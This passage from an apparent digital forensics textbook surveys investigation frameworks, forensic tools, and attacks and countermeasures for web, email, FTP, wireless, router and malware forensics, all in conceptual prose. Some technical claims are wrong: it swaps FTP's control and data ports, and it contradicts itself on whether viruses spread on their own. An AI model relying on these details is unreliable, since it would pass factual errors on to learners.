Preservation, Collection, Examination, Analysis, Presentation and Decision. 
The accurate definition of the flow process will follow up in all DFRWS 
ongoing activity programs. 

The next proposed framework model is called An Abstract Digital foren-
sics Model by Reith and her team [10] in 2002. This proposed work is the 
advancement of the DFRW model which comprised nine steps, includ-
ing: Identification, Preparation, Approach Strategy, Preservation, Collection, 
Examination, Analysis, Presentation and Returning Evidence. The author 
claimed that this method has both advantages and disadvantages. The main 
advantage of this framework is that it can be applied to future technologies also 
and the disadvantage is each sub-model of this framework makes it difficult 
to use. The Integrated Digital Investigation Model is another proposed work 
[11] where they divided 17 phases into five groups as Readiness, Deployment, 
Physical Crime Scene Investigation, Digital Crime Scene Investigation and 
Review Phases. These phases are capable of processing physical crime scenar-
ios along with digital scenario with the result of digital investigation are fed 
into physical crime scene investigation. The authors have provided two case 
studies for this proposed framework. The first case study is based on server 
intrusion and the second study is based on child pornography. 

A Comprehensive approach to digital incident investigation [12] is 
another digital investigation approach where End-to-End digital investi-
gation (EEDI) is used to perform complex problems of investigation with 
framework developed by DFRWS. The term elements represents the six 
classes that should present in every task of investigation. The EEDI process 
consists of collecting, analysis, preliminary correlation, event normalization, 
event identification, event deconfliction second level correlation, timeline 
analysis, chain of evidence and corroboration.

6.5.2 Stage II - 2004 to 2007

The next phase covers the period 2004 to 2007. In this phase also the var-
ious authors have proposed different framework models for digital foren-
sics investigations. In 2004, the researcher Ciardhuian [13] proposed an 
extended model of cybercrime investigation. The steps involved in this 
framework are Awareness, Authorisation, planning, notification, search and 
identify of evidence, collection, transport, storage, Examination, Hypothesis, 
Presentation, Proof or Defence and Dissemination of data. This frame-
work proceeds like a waterfall model which allows backtracking also. 
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Baryamureeba and Tushabe [14] proposed a new model called Enhanced 
integrated digital investigation process, which was an advanced framework 
of the Integrated Digital Investigation process. The proposed framework 
has five major steps, which include Readiness, Deployment, Trace Back, 
Dynamic and Review phases to make the reconstruction of events only after 
the two crime scene (Physical and digital) investigation. 

In 2004, the Hierarchical Objectives-based framework was proposed by 
Nicole and Clark [15] where they stated that previous frameworks are a 
single-tiered model. So, they proposed a multi-tiered framework by intro-
ducing text-based objective concept for digital investigation. The first tier 
consists of Preparation, Incident Response, Data Collection, Data Analysis, 
Preparation of findings and incident closure whereas the second tier consists 
of Survey, Extract and Examine. The proposed model has two main advan-
tages, which are technology usage and user applicability. The digital inves-
tigation framework based on the event was proposed in 2004 by Carrier 
and Spafford [16]. The author has introduced three phases to the proposed 
model which consist of Preservation and documentation; Evidence search-
ing and finally Event reconstruction. 

In 2005, the concept of case-relevance was introduced, which is used to 
investigate the cases to find the answers of What, When, Who, How, When 
and Why. The models included in this framework are absolutely irrelevant, 
Probably, Possible and probably case relevant [17]. Karren and his team 
published a guide based on “Guide to Integrated Forensics into Incident 
Response” where they encapsulated four main phases of digital forensics 
process such as Data Collection, Examination, Analysis and Reporting. This 
process is similar to work done by Mark in 1995 [7]. The authors Kohn et al. 
[18] provided the framework for a digital forensics investigation with the 
aim of merging existing work [10, 11, 13, 14] into three groups. The earlier 
proposed framework was comprised of many steps. The comprised frame-
work includes preparation, Investigation and Presentation. For each stage 
the author has provided sub-stages, and also the main advantage of this 
framework is that it can be easily expanded to add many phases if required in 
the future. To investigate computer crimes, The Common Process Model for 
Incident and Computer Forensics Framework [19] was developed by com-
bining two models of incident response and computer forensics. This frame-
work comprised three stages: Pre-Analysis, Analysis and Post-Analysis phase. 

6.5.3 Stage III- 2007 to 2014

A Systematic Digital Forensics Investigation Model was proposed in 2011 
with 11 stages and suitable methods for the investigation of cybercrime. 
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The stages are Preparation, Securing the scene, Survey and Recognition, 
Documentation, Communication and shielding, Evidence collection, 
Preservation, Examination, Analysis, Presentation and result. The main dis-
advantage of this framework is application is limited to only cybercrime 
and fraud activities on the computer. Again in 2011, a novel framework 
was proposed by Inikpi et al. [20] as A New Approach of Digital Forensics 
Model for Digital Forensics Investigation. The author has generalized the 
process into a four-tier process where each tier has some rules to follow. The 
first tier is the Preparation phases with rules of Preparation, Identification, 
authorization and communication. The second phase is comprised of the 
rules of Collection, Preservation and Documentation. The third phase 
has Examination, Exploratory testing and analysis. The fourth tier has a 
Presentation with rules of Result, Review and Report. 

The author Kohn et al. [21] introduced the integrated Digital Forensics 
model based on the previous model of DFPM in which the new framework 
consists of Preparation, Incident Response, Physical Investigation, Digital 
Investigation and Presentation. The disadvantage of this model is that it is not 
suitable to apply for all forensics models. Many complications were found 
in the previous DFPM model. So, the IDFPM is not combing of DFPM 
but integration and purification technology used which results in a stan-
dardized method. Valjarevic and Ventor [22] provided a framework called 
Harmonized Digital Forensic Process Model is quite the same as the exist-
ing model but the IDFPM model has different action called parallel action. 
The model consists of 11 stages: Incident Detection, First Response, Planning, 
Preparation, Incident Scene Documentation, Potential Evidence Identification, 
Collection, Transportation, Storage, Analysis, Presentation and Conclusion. 

6.6 Types of Digital Forensics

Digital forensics is the branch of forensic science which deals with retriev-
ing, storing and analysing electronic data that can be useful in criminal 
investigations to identify guilt. The information can be retrieved from 
computers, hard drives, mobile phones and other data storage devices. In 
recent years, more varied sources of data have become important, includ-
ing motor vehicles, aerial drones and the cloud. During Digital forensic 
investigation, the examiners face challenges like extracting data from dam-
aged or destroyed devices, locating individual items of evidence among 
vast quantities of data, and ensuring that their methods capture data reli-
ably without altering it in any way. There are many types of digital forensics 
that evolved in recent times such as Mobile Forensics, Cloud Forensics, 
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Memory Forensics, Network Forensics, Drone Forensics, IoT forensics, 
Database Forensics and many more. The simple procedure of digital foren-
sics is diagrammatically represented in Figure 6.1.

6.6.1 Cloud Forensics

Cloud Forensics is the cross-discipline of cloud computing and digital 
forensics. Figure 6.2 provides the flow process of cloud forensics. As per 
the definition of NIST: “Digital Forensics is the application of science to the 
identification, examination, collection, and analysis of data while preserving 
the information and maintaining a strict chain of custody for the data” [23]. 

6.6.2 Mobile Forensics

Mobile Forensics has given a step-wise process for the investigator to 
acquire evidence from mobile devices. The Flow process of Mobile foren-
sics consists of the following steps as shown in Figure 6.3. They are Seizure, 
Acquisition, Analysis/Examine and Report generating. 

6.6.3 IoT Forensics 

Since data stored and data generated from IoT devices are stored in cloud 
storage, the middle layer is network forensics. The attacks can be recognized 
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Figure 6.1 Flow process of digital forensics.
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Figure 6.2 Cloud forensics flow process.
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from the network logs by using network forensics. Any evidence from net-
work forensics can be presented in the law of Evidence. The bottom layer 
is device-level forensics, which involves the collection of proof from IoT 
devices. The evidence can be gathered from physical devices.

6.6.4 Computer Forensics 

Computer forensics is the procedure of obtaining and analysing computer- 
related information which includes analyses of hard disk, data files, file 
storage medium, etc., which can be presented for legal proceedings. In gen-
eral, it refers to criminal or civil court trials, which are locally based and 
hence efficiently served by local examiners.

6.6.5 Network Forensics

Digital investigations focus on solving computer, network, cloud storage, 
or other IT-related crimes. Specialized procedures are required for digital 
forensics investigation based on the nature of the cyber-crime. The blend-
ing of the reconstructed results with other branches of digital investigation 
like computer forensics may improve the efficiency and accuracy of the 
overall investigation. The flow process of network forensics is shown in 
Figure 6.4.

SEIZURE ACQUISITION ANALYSIS/ 
EXAMINE

REPORT
GENERATING

Figure 6.3 Flow process of mobile forensics.

Data capture

Record

Packet analysis

Presentation

Figure 6.4 Process of network forensics.
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6.6.6 Database Forensics 

Database Forensics is the process of deriving evident data from a large set of 
database. It is a branch of digital forensics related to the study of metadata 
and applying investigative techniques to database contents and metadata.

6.7 Evidence Collection and Analysis

Most attempts in the first years of digital forensics introduction have gath-
ered evidence from various parts of compromised systems. These attempts 
resulted in various free and commercial digital forensic tools being 
designed and implemented. Several tools have been designed to provide 
information on different items such as stored information, network con-
nections, etc. After extracting the evidence from various electronic devices 
of a compromised system, it is time for analysing. The part of evidence 
collection and analysis is shown in Figure 6.5. The extracted evidence is 
not in the same format and also a chance of data integrity.

Digital Forensics

Analysed by
Network evidence

Analysed by Memory
evidence

Analysed by Hard
disk evidences

Evidence Collection Evidence Analysis

Computer
System

Mobile Devices Network IoT Systems

Hard disk

Memory

Documents

Internet
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Memo Router

Packets

WAN

LAN Sensors

Embedded
System

Switches

Cars

Extracting
data using
Imaging

Retrieving
using
Forensics
Workstation

Using
memory
imaging
tools

Data
integrity
issues

Figure 6.5 Evidence collection of storage devices.
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6.8 Digital Forensics Tools

Digital Forensics tools are used widely for investigation purposes. By these 
tools, we can identify the individual who is involved in criminal activities. 
There are two types of tools available in the market, one is commercial and 
another is open source. Table 6.1 describes the comparative analysis of a 
few digital forensics tools. The following are some of the tools broadly used 
across the globe.

6.8.1 X-Ways Forensics

X-Ways Forensics is mainly used to examine computer systems which sup-
port 32- and 64-bit Windows Operating System with features of cloning 
and imaging disk, ability to read the file system structures inside raw (.dd) 
image files, ISO and VMDK images to discover lost and deleted data, to 
analyse remote computers and also to collect data from internet history 
[24].

6.8.2 SANS Investigative Forensics Toolkit – SIFT

SIFT toolkit is installed to initiate a detailed forensic examination with 
the support of the VMware application. The digital evidence can be exam-
ined in read-only mode so the integrity of the device remains intact. It 
can securely examine multiple file systems, disk and evidence formats. The 
following are the supporting software that are inbuilt [25]:

• Mantaray - process automated Forensic
• Sleuth Kit for analysing the file system
• Log2timeline to analyse a timeline
• Wireshark - for network Forensics
• Pasco - to examine IE web history 
• Rifiuti - to examine Recycle Bin 
• Volatility Framework - for memory analysis
• Autopsy - to analyse system
• PyFLAG - for GUI Log and Disk examination

6.8.3 EnCase

EnCase, which was released by Guidance Software, is used for digital inves-
tigations. It is primarily designed for cybersecurity in major companies, 
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digital forensics to recover evidence from seized electronic devices and 
also to conduct in-depth analysis of user files, to collect evidence [26], 
e-discovery and security analysis.

6.8.4 The Sleuth Kit/Autopsy

The Sleuth Kit, also known as an autopsy is a commandline tool with an 
in-built C library and GUI-based software that allows to efficiently analyse 
the hard disk, disk images and recovery files from smartphone [27] .

6.8.5 Oxygen Forensic Suite

Oxygen Forensics Detective is essentially designed to acquire data from 
mobile phones, SIM cards, cloud storage, memory cards, device backups 
and also images. The following process can be carried out with oxygen 
forensics to acquire and analyse the device information like IMEI, Contacts 
details, Call logs, Organizer data like notes, tasks and memo, database files, 
images, audio, video files, Geolocation stored in devices, data from cloud 
storage, etc. It allows importing and parsing data from various mobile 
devices (Apple iOS, Android OS, Windows Phone OS, BlackBerry OS, and 
Nokia). The software has 32-bit or 64-bit versions for Windows 7, 8 and 10 
[28].

6.8.6 Xplico

Xplico is free open-source software that is used to analyse the network 
which is called network forensics analysis tool (NFAT). It is used to anal-
yse and reconstruct the data acquisitions with a packet sniffer and also to 
recognize the protocols with a technique called Port Independent Protocol 
Identification (PIPI) [29]. 

6.8.7 Computer Online Forensic Evidence Extractor (COFEE)

COFEE is designed by Microsoft for capturing live computer evidence from 
a crime scene without special forensics expertise, and also it provides the 
final report in a straightforward way for later interpretation by experts [30].

6.8.8 Cellebrite UFED

The UFED physical device is a hand-held device with optional desktop 
software, data cables, adapters and other peripherals. It transfers content 
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including pictures, videos, ringtones, SMS, and phone book contact data 
and supports all mobile operating systems, including Android, Windows, 
Blackberry [31].

6.8.9 OSForeniscs

OSForensics is a Windows-based software that helps to perform computer 
forensics such as searching files, emails, recovering deleted files, extract 
logins and passwords and detecting hidden disk area [32].

6.8.10 Computer-Aided Investigative Environment (CAINE)

CAINE is open-source Linux-based software for digital forensics. It offers 
auser-friendly environment and integrates existing tools as software mod-
ules [33]. The digital forensics tools, respective description of tools, oper-
ating system and latest version are given in Table 6.1.

6.9 Summary

Digital forensics was started in the late 1970s and was a field of growth 
during the 1980s-1990s. There were many tools developed for performing 
digital forensics from 1980 to 2015. In this chapter, a brief history has been 
presented of digital forensic, the need for digital forensics; types of digital 
forensics, possible evidence collection from types are taking inputs from 
various researchers in the field of digital forensic. The digital evidence 
should be gathered and processed in a forensically sound manner to main-
tain integrity and authenticity. Thus, the preservation of evidence helps to 
identify the original form of data. 
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Abstract
Any machine exposed to the Internet today is at the risk of being attacked and 
compromised. The popularity of the internet is not only changing our life view, but 
also changing the view of crime in our society and all over the world. The reason 
for Forensic Investigation is increased computer crime. Digital technology is expe-
riencing an explosion in growth and applications. This explosion has created the 
new concept of the cyber-criminal, and the need for security and forensics experts 
in the digital environment. The purpose of digital forensics is to answer investiga-
tive or legal questions to prove or disprove a court case. To ensure that innocent 
parties are not convicted and that guilty parties are convicted, it is mandatory 
to have a complete forensic process carried out by a qualified investigator who 
implements quality control measures and follows standards. In this paper, types of 
Digital Forensics with their tools and techniques of investigation are discussed. 
This chapter also involves the challenges in carrying out Digital forensics.

Keywords: Cyber-attacks, computer forensics, data forensics, network forensics, 
mobile forensics, IoT forensics, cloud forensics, digital forensics tools

7.1 Introduction

With the advancement of technologies, a rise in cyber-crime occurs. As 
a result, Digital Forensics plays a vital role to investigate cyber-attacks. 
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Digital Forensics experts investigate any digital devices and try to find evi-
dences of cyber-attacks. During an investigation each expert should follow 
the ethics and norms of the investigation. They should follow some proper 
steps of investigation. The four main phases of digital forensics are shown 
in Figure 7.1. In each phase of investigation Chain of Custody is followed.

The phases of digital forensics:

a. Identification: This phase involves the identification of the 
digital devices which may contain evidences of the cyber-
crime. Such digital devices may be used by a victim of 
cyber-attack or may be used by the cyber-criminal.

b. Preservation and Collection: In this phase evidences are 
collected and preserved in a safe place. After collection, the 
duplication of the original copy is taken and further investi-
gation is carried out with the duplicated copy. This phase also 
involves data acquisition, that is, recovery of deleted data.

c. Detection: In this phase the relevant evidences are detected 
from all the evidences collected.

d. Analysis: After evidence collection and detection, the evi-
dences are analysed and cause of attack is detected. With 
analysis, a detailed report is generated. This report contains 
all the documentation of the investigation along with the 
summarization and conclusion.

7.2 Objective

Digital forensics involves the processes of identification of the evidences, 
preservation and collection of evidences, recovery of deleted files, detec-
tion and analysis of the evidences and finally generation of reports from 
those evidences. The main aim of Digital forensics is to investigate a cyber-
crime and to find out the motive of crime, how the cyber-crime is per-
formed and who is the cyber-criminal. 

Identification Preservation
&

Collection

Detection

Analysis

Figure 7.1 Digital forensics steps.
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The main objective here is to provide a concrete idea about how inves-
tigation is carried out in all sections of digital forensics. Also, it deals with 
the type of digital forensics, the mode of attacks happening in each type, 
method, tools and techniques used to investigate the attack. 

7.3 Types of Digital Forensics

The branches of digital forensic are shown in Figure 7.2.

7.3.1 Network Forensics

It is a branch of Digital Forensics. In this type of forensics an expert mon-
itors and analyses the network and collects useful information. Network 
Forensics also deals with volatile and dynamic data. 

Two different methods are used to collect information from network.

a. Catch-it-as-you-can: In this method all packets are cap-
tured, dumped and analysed in a batch mode.

b. Stop, look and listen: In this method each packet is analysed 
and information is collected for future analysis.

Branches of Network forensics:

• Web Forensics: Web forensics is the investigation and analysis 
of web browser and web server to collect useful information. 

Web browser gives us evidence from web history and cache files of a 
browser.

 ➢ Firefox: In Firefox SSL signature can be recovered, cookies.
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 ➢ Explorer: It works the same as Firefox but also can recover 
the URLs that were entered.

 ➢ Google Chrome: Google Chrome works the same as Explorer.

Web server forensics includes the investigation of Web server, Web appli-
cation server and database server. Server logs are analysed in this method.

Attacks on Web Application:
URL interpretation attacks: In this type of attack the attacker modifies some 
of the fields of the URL and tries to gain access to the web server. URL 
contains five fields; first is protocol name, second is the ID, third is name of 
the server, fourth field contains the port number and the fifth contains the 
access path. The attacker tries to manipulate any of these five fields.

Input Validation attacks: Improper validation may lead to attack where 
a cyber-criminal intentionally makes malicious inputs to break the system. 
Input validation attack is the cause of other attacks like buffer overflow 
attack, canonicalization attack, XSS attack, and SQL injection. In a buffer 
overflow attack the attacker intentionally gives large input which crosses 
the boundary buffer limit and overwrites the program code. In canonical-
ization the attackers change a file directory to get unauthorised access. XSS 
is called as Cross Site Scripting where an attacker embeds malicious script 
in the web page or web browser. In SQL injection the attacker tries to gain 
access by executing malicious SQL queries.

Impersonation attacks: Here a cyber-criminal modifies the HTTP 
request in such a way that it impersonates a real HTTP request.

Prevention of Web attacks:

 ➢ Validation of all untrusted input.
 ➢ Define policies to allow to access or block from receiving any 

requests.
 ➢ Only acceptance of parameterized queries and stored 

procedures.
 ➢ Use of Object Relational Mapping. 
 ➢ Configuration of session cookies and consider HttpOnly 

attribute.

Steps for Web Forensics: the following parameters are investigated for 
web attacks:

• Browsing History: Browsing history can gives the informa-
tion whether user has browsed any malicious sites.
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• Caches: Browsers store cache data of a browsed website like 
HTML files, CSS style sheets, JavaScript, graphic image, and 
other multimedia contents, etc. 

• Cookies: It contains the user information about previous 
browsing and the actions that the user has performed pre-
viously while browsing, like email ids, items viewed, user 
preferences, etc. 

• Bookmarks: User can bookmark a website which he pre-
ferred the most. These bookmarks are also considered as 
evidence by forensic experts.

• Sessions: Web sessions are created every time a user makes 
a request to the server. Server logs store the session IDs. 
Session signifies the time of browsing of the user. 

• Form information: If any user filled out some form within 
a website then such information is also stored in the 
browser.

• Browser contains many other information-like thumbnails, 
most visited site, downloaded files, URL typed, etc.

Tools used:
 ➢ DB Browser for SQLite (DB4S)
 ➢ Browsing History View
 ➢ Nirosoft Web Browser Tool
 ➢ ESEDatabaseView
 ➢ BrowserAddonsView
 ➢ Pasco
 ➢ Q Web Historian Web Historian
 ➢ Q Cache View Cache View
 ➢ Q IE History View IE History View
 ➢ Q FTK, Encase FTK, Encase

a.  Email Forensic: It deals with the analysis of email, its content, source, 
email server and client.

Attack on Email or using Email:
Phishing: This is now the most common type of attack. Cyber-criminals 
target the victim by sending fraud emails. Attackers send bulk emails to 
different users which look legitimate and try to steal credentials like user-
name, password, credit card details, etc., by gaining the victim’s trust. 
Phishing emails contain malware which steals sensitive information from 
the victim.
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Spear Phishing: This is a type of Phishing but at an advanced level. Here, 
the attacker gathers information about victims through social engineering 
or using reconnaissance techniques. Then the attacker performs a Phishing 
attack impersonating a trusted person or entity of victims by gaining the 
trust of victims.

Spam: Spam is a junk email. An attacker generally sends junk email 
from unauthenticated sources. These spam emails contain malicious links 
or malwares which steal sensitive information of the victim. 

Whaling: In this type of attack the attacker targets the high-profile per-
son of a company like a company’s CEO, senior executive, etc., and per-
forms a phishing attack. 

Pharming: Pharming is a type of attack which contains malicious codes 
that gets installed into the victims’ system and lead them to a fake website 
which behaves as if legitimate. These fraudulent websites trick the victims 
into entering credentials like username, password, credit card details, etc., 
which are then stolen by the attacker. 

Adware: Adware is pop-ups which are generated as advertisements 
when something is browsed. These pop-ups may contain malwares which 
gain information about the victim’s search interests and send such type of 
spam email to the victim.

Spyware: Attackers may send spyware through emails. These spyware 
captures all the keys pressed by the victim and sends that information back 
to the attacker. 

Email spoofing: It is a method of sending emails by hiding the original 
sender’s email id and instead of that using someone else’s authenticated 
email id. Thus the attacker sends an email using spoofed email id of some 
other person so that the receiver cannot detect the original email id of the 
attacker.

Email bombing: Email bombing is somewhat like a DoS attack. The 
attacker sends innumerable emails to a particular email address so that an 
overflow of mailbox occurs at the receiver end and at the same time a DoS 
attack happens at the server end where this email address is hosted.

Prevention of Attacks on email:
 ➢ Using of Antivirus software.
 ➢ Keeping alert on pop-ups.
 ➢ Using Firewall.
 ➢ Keeping browser up to date.
 ➢ Being careful while clicking on any emails.
 ➢ Generating awareness among employees.
 ➢ Encrypting all sensitive information.
 ➢ Developing strong security policies.
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Techniques for Email Forensics:
• Header Analysis: It refers to the analysis of metadata of email 

header. This technique is used for investing different cyber-
crimes like email spoofing, phishing, spam, etc.

• Server Investigation: This deals with the investigation of an 
email server and its logs.

• Network Device Investigation: Deals with investigation of 
routers, firewalls to search the source of the email.

• Software Embedded Analysis: Deals with the investigation 
of custom header or MIME content which gives some useful 
information about who is the sender of the email, what files 
or documents are attached with the message, and what email 
software was used by the sender for composing the email.

• Sender Mail Fingerprinting: Deals with the investigation 
Received field, X-Mailer agent or User-agent. The Received 
field contains the information generated by mail servers 
tracking from sender end to receiver end. X-Mailer agent or 
User-agent gives information about what email software and 
email version was used by the sender.

• Attachment analysis: Deals with the investigation of email 
attachments as most of the malwares are embedded in email 
attachment.

Tools used:
 ➢ eMailTrackerPro
 ➢ EmailTracer
 ➢ Access Data FTK
 ➢ EnCase
 ➢ Aid4Mail Forensic

b.  FTP Forensic: It involves the investigation FTP server and FTP client. 
FTP always uses TCP protocol for communication. It communicates 
through two ports 20 and 21. The control connection uses port 20 and 
data connection uses port 21.

Attacks on FTP:
FTP Brute Force Attack: An attacker performs a brute force attack to crack 
the password of FTP login. In this attack multiple combinations of a pass-
word are used by the attacker to find the correct one. Attackers use trial 
and error method. Using a brute force attack, an attacker can easily crack 
weak and default passwords.
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FTP Bounce Attack: Sometimes users use an FTP proxy server instead 
of original server. Attacker misuse this and acts as a middleman in between 
the FTP request and reply, behaving like a proxy server in front of the user.

Packet Capture: In normal FTP communication, data is transferred in 
plain-text form. So, the attacker tries to sniff the data exchanged in FTP. 
Using packet sniffing techniques, the attacker captures all the data trans-
ferred and tries to read the sensitive data.

Spoof Attack: Attacker spoofs the IP address of an authorised client and 
tries to connect FTP server. 

Port Stealing: The attacker illegally accesses an FTP port number of a 
victim PC and steals or modifies files or whatever is exchanged between 
the FTP server and the victim.

Prevention of FTP attacks:
• Always monitor the FTP logs. Any several times failed log-

ins must be taken under consideration.
• Instead of using normal FTP, SFTP should be used such that 

the data is transferred in encrypted form.
• Strong encryption algorithm should be used.
• Strong passwords should be used. A password should have 

a minimum of seven characters and must be alphanumeric.
• Proper permission should be given to file and folders such 

that only an authenticated user can access that file or folder.
• FTP administrator privileges should be given to a limited 

number of users and multi-factor authentication mecha-
nism must be implemented.

• Firewall rules must be applied at the FTP server side such 
that it can detect and block any unwanted traffic.

• DMZ is used in network to store FTP server. So, it is better to 
use a Gateway in DMZ which will make the network private. 
So, any user will connect through the Gateway. 

Techniques for FTP forensics:
 ➢ Extracting details about the connections used during FTP 

communication.
 ➢ Identifying FTP connection types. Connections may be 

active or passive.
 ➢ Identification source and destination IP address and port 

number.
 ➢ Identification of files which are transferred in the FTP 

channel.
 ➢ Identification of Retransmitted packets.
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 ➢ Reorder of packets on the basis of sequence number.
 ➢ The contents of the packets which are lost during transmis-

sion are reconstructed.

Tools used:
 ➢ Xplico
 ➢ NetworkMiner
 ➢ Password Sniffer Control
 ➢ Wireshark

c.  Wireless Forensics: It deals with the monitoring of wireless network, 
capturing of packets in wireless networks and analysis. Wireless foren-
sics gives information about network anomalies, detects the attacks, and 
investigates the attacks.

Wireless Network Attacks:
Rogue Wireless Attack: In this case, unauthorised Wi-Fi devices are placed 
by the attacker in the network hiding from the network administrator. These 
devices act as a gateway for the attackers to access the network directly.

Wardriving: It is a method of searching Wi-Fi network from a moving 
car. A cyber-criminal uses portable devices to search such Wi-Fi. Generally, 
such Wi-Fi contains weak or default passwords. Attackers crack the pass-
word easily and perform malicious activities. 

War-shipping: It is the act of attacking a Wi-Fi remotely. This means the 
attacker can attack the Wi-Fi without being in the range of that Wi-Fi.

Peer to Peer Attack: If more than one device is connected to the same 
access point then those devices may be vulnerable to each other.

Eavesdropping: Attacker hacks the wireless network and silently listens 
to all the data transferred through the network. Here, the attacker acts as 
man-in-the-middle attack between the sender and receiver. This type of 
attack is also called Packet sniffing attack. The cyber-criminal uses sniffing 
tools to steal data from the wireless network.

Encryption Cracking Attack: Data encrypted with weak encryption 
algorithms are easily cracked by attacker. 

Evil Twining: Attacker creates a fake wireless network the same as an 
existing network to bluff the victim. A victim connects to this fake network 
thinking it is an authenticated network.

Jamming: Attacker creates network interference in a wireless network 
and cause a Denial-of-Service attack.

MAC Spoofing: Attacker Spoofs a MAC address to bypass MAC filter-
ing technique and intrudes into a wireless network.
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Denial of Service: Attacker can use Jamming Technique to perform a 
Denial of Service attack. Attacker can also target an Access Point and send 
floods of association request and disassociation request messages resulting 
in a Denial of service attack.

Social Engineering Attack: Attacker tries to learn the Wi-Fi password by 
gaining the trust of victim.

Prevention of Wireless Network Attack:
• Default password or Wi-Fi names should not be used and 

they should be changed regularly.
• Wi-Fi routers and other devices should be updated 

periodically.
• Virtual Private Network or any other firewall should be 

enabled to access the Wi-Fi remotely.
• Monitoring of network connected devices can help to detect 

whether any malicious or unwanted devices are connected 
to network.

• Logs should be checked regularly to identify any suspicious 
or unwanted activity.

• Two factor authentications should be used to connect a 
wireless network instead of using a single password.

• Strong alphanumeric passwords should be preferred.
• Wireless Network providers must use “Client Isolation” tech-

niques such that the clients connecting to the same access 
point will not be able to communicate with each other directly.

• Awareness should be generated among the users regarding 
the preventive mechanism of wireless attacks.

Techniques for wireless forensics [1]
• Forensic experts generate a search warrant to investigate a 

Wi-Fi network.
• Identification of all devices connected to the network such 

as routers, access points, etc. 

Experts can use manual techniques to find the devices by visiting the 
places where these devices are placed or they may use wardriving tech-
niques to identify such devices. 

Network connected devices can be identified using Active wireless scan-
ning techniques. In this technique a probe message is broadcasted through 
the network and waits for the reply or response messages from the access 
points. But in this case if an access point doesn’t give reply then it is not 
detectable. 
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Sometimes experts use Passive wireless scanning techniques to find 
active access points.

• After detection of the access points the investigator tries to 
detect whether any rogue access point is there by verifying 
parameters like MAC address, SSID, vendor name, modems, 
network adapters, hard drives, network antennas, etc.

• Investigator may check the wireless field strength by using 
tool like Field Strength Meter (FSM). It enables an expert to 
detect the interference. 

• After detection of all the connected devices, a forensic expert 
may create a static map of the wireless network. This tech-
nique maps wireless zones and hotspots.

• Forensic experts use sniffing tools to capture the network 
packets and try to analyse those packets.

• Several Logs are analysed by the investigator like DHCP 
logs are verified for detecting the IP addresses, Firewall logs 
are checked to identify any unwanted activities or intrusion 
activities.

• Investigator also verifies windows registry to gather infor-
mation about the wireless network devices used by the 
computer.

• Chain of custody is maintained by experts in each step of 
investigation.

• Finally, a report is generated on the basis of this investigation. 

Tools used:
 ➢ Wireshark 
 ➢ TCPdump
 ➢ Xplico

d.  Router Forensics: Deals with router investigation. Router provides useful 
information and evidence like routing table, network block information.

Attacks on Router Forensics:
Denial of Service Attack: Attacker sends a flood of ICMP packets to spe-
cific router, which leads to DoS attack in that router. As a result, normal 
traffic is hampered and the network slows down.

Packet Mistreating Attacks: This attack involves the injection of mali-
cious code in a packet which infects the router. An infected router mis-
judges the packets and also the flow of the packets. This creates disruption 
of the network.
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Routing Table Poisoning: Hackers illegally manipulate the routing table. 
As a result, the packets in the network do not follow the proper path. This 
causes great damage to the network and the servers. Manipulation is done 
by the attackers by modifying the data in the packets which travels through 
the router in the network.

Hit and Run attack: This attack involves the testing of a router. This means 
an attacker sends a malicious packet to a router and tests its behaviour i.e., 
whether it is working properly. If yes, then the attacker sends more mali-
cious packets from time to time and checks its behaviour each time. This 
causes a lot of damage to the router. So, this type of attack is also known as 
a test attack.

Persistent Attack: This attack is somewhat like a hit-and-run attack but 
the difference is that in this case the attacker goes on continuously sending 
malicious packets without testing the behaviour of the router.

Bot Attacks: Attacker hacks a network and infects the routers by send-
ing malicious packets. These infected routers act as bots. These bots act 
according to the commands given by the attacker. Bots are used for DDoS 
attack.

Prevent Router Attacks:
• Avoid using Default Admin password: Many times, users 

didn’t change the default admin passwords set by the man-
ufacturers. Hackers search such routers and try to hack the 
router having default admin password. 

• Avoiding managing of router remotely: Routers should not 
be managed remotely. This means it is better if the router 
cannot be managed outside a LAN. This blocks the access 
of routers by any intruders from outside. But if necessary, 
to access the router remotely, then virtual private network 
should be used.

• Setting strong password: It is always better to use an alpha-
numeric password for the Wi-Fi. Even then, passwords 
should be changed periodically.

• Updating Router configuration: The router configurations 
should be updated regularly. It is a good way to check about 
the updates of routers provided by vendors and update the 
routers.

• Enabling Firewall: Firewall can detect any malicious activ-
ity within the network. Also, the policies of the firewall can 
block the unwanted traffic.

• Generating awareness among the administrators about the 
security of routers.
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• Developing strong policies in an organization about the 
router securities. 

Techniques for Router forensics:

• Collecting volatile data from the router by communicating 
remotely with the router. Below are some of the commands 
to collect live data.

 ➢ show clock detail
 ➢ show version
 ➢ show running-config
 ➢ show snmp user
 ➢ show snmp group

• Saving the router configuration.
• Collecting the information of remote access like Port scan, 

SNMP scan.
• Investigating the routing table to detect malicious static 

routes modified by attacker.
• Investigation of ARP cache for detecting IP or MAC 

spoofing.
• Collecting evidences of network timestamps, difference 

between the initial configuration and present running con-
figuration of a router.

• Analysing the Logs like Syslog, SNMP logs, etc.
• Each phase of investigation proper Chain of custody is 

maintained.
• Finally, report is generated.

Tools used:
 ➢ Cisco Router Commands and Tasks
 ➢ Wireshark
 ➢ Netcut

e.  Malware Forensics: This type of forensics involves detection of malwares. 
It gives the information about type, origin and functionality of malwares 
such as virus, worms, rootkits, trojan, backdoor, etc. Malwares may steal 
information or encrypt or modify a user’s data. 

Types of Malware Attacks:
Virus: Virus is a malicious program which attaches itself in a document. 
It may modify, delete or encrypt a document. A virus can spread by itself 
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within the network. It requires human activities to propagate through the 
network.

Worms: Worms are like viruses. But the main difference is that worms 
can propagate by themselves throughout the network.

Trojan: Trojan is a malicious code. It looks as if it is authenticated but 
actually it is a malicious code which exploits the victim’s machine. Trojan 
steals confidential data, damages data, and performs many other malicious 
activities. Phishing emails contain such Trojans. These emails behave as if 
legitimate but contain malicious Trojan malwares [2].

Ransomware: Ransomware is special type of Trojan which exploits the 
victim and encrypts the data also. They demand some money or ransom 
from the victim for that data. 

Adware and spyware: Adware are advertising which pop up when the 
user is browsing something. Their intention is not always harmful but 
they are trying to gain information about the interests of the user. This 
adware may contain malwares which steal information or cause dam-
age to the system. Spyware is similar to Adware; it contains malwares 
which gather information of each and every activity a user is doing on 
the system. In this case actually spyware spies on a victim’s activity on 
the system. 

Bots: Bots are automated programs controlled by the attacker. Bots 
infect a system and the system then acts as a zombie. Such machines are 
controlled by the attacker not by the administrator. Bots are used to per-
form a DoS attack.

Rootkits: Such malwares try to gain the privileges of administrator or 
root. Once an intruder is able to acquire the root privileges it controls the 
whole system.

Prevention of Malware attacks:
• Updating System: It is always a good practice to update 

operating system. Patches are nothing but security measures 
which are released by the vendors. Users should install such 
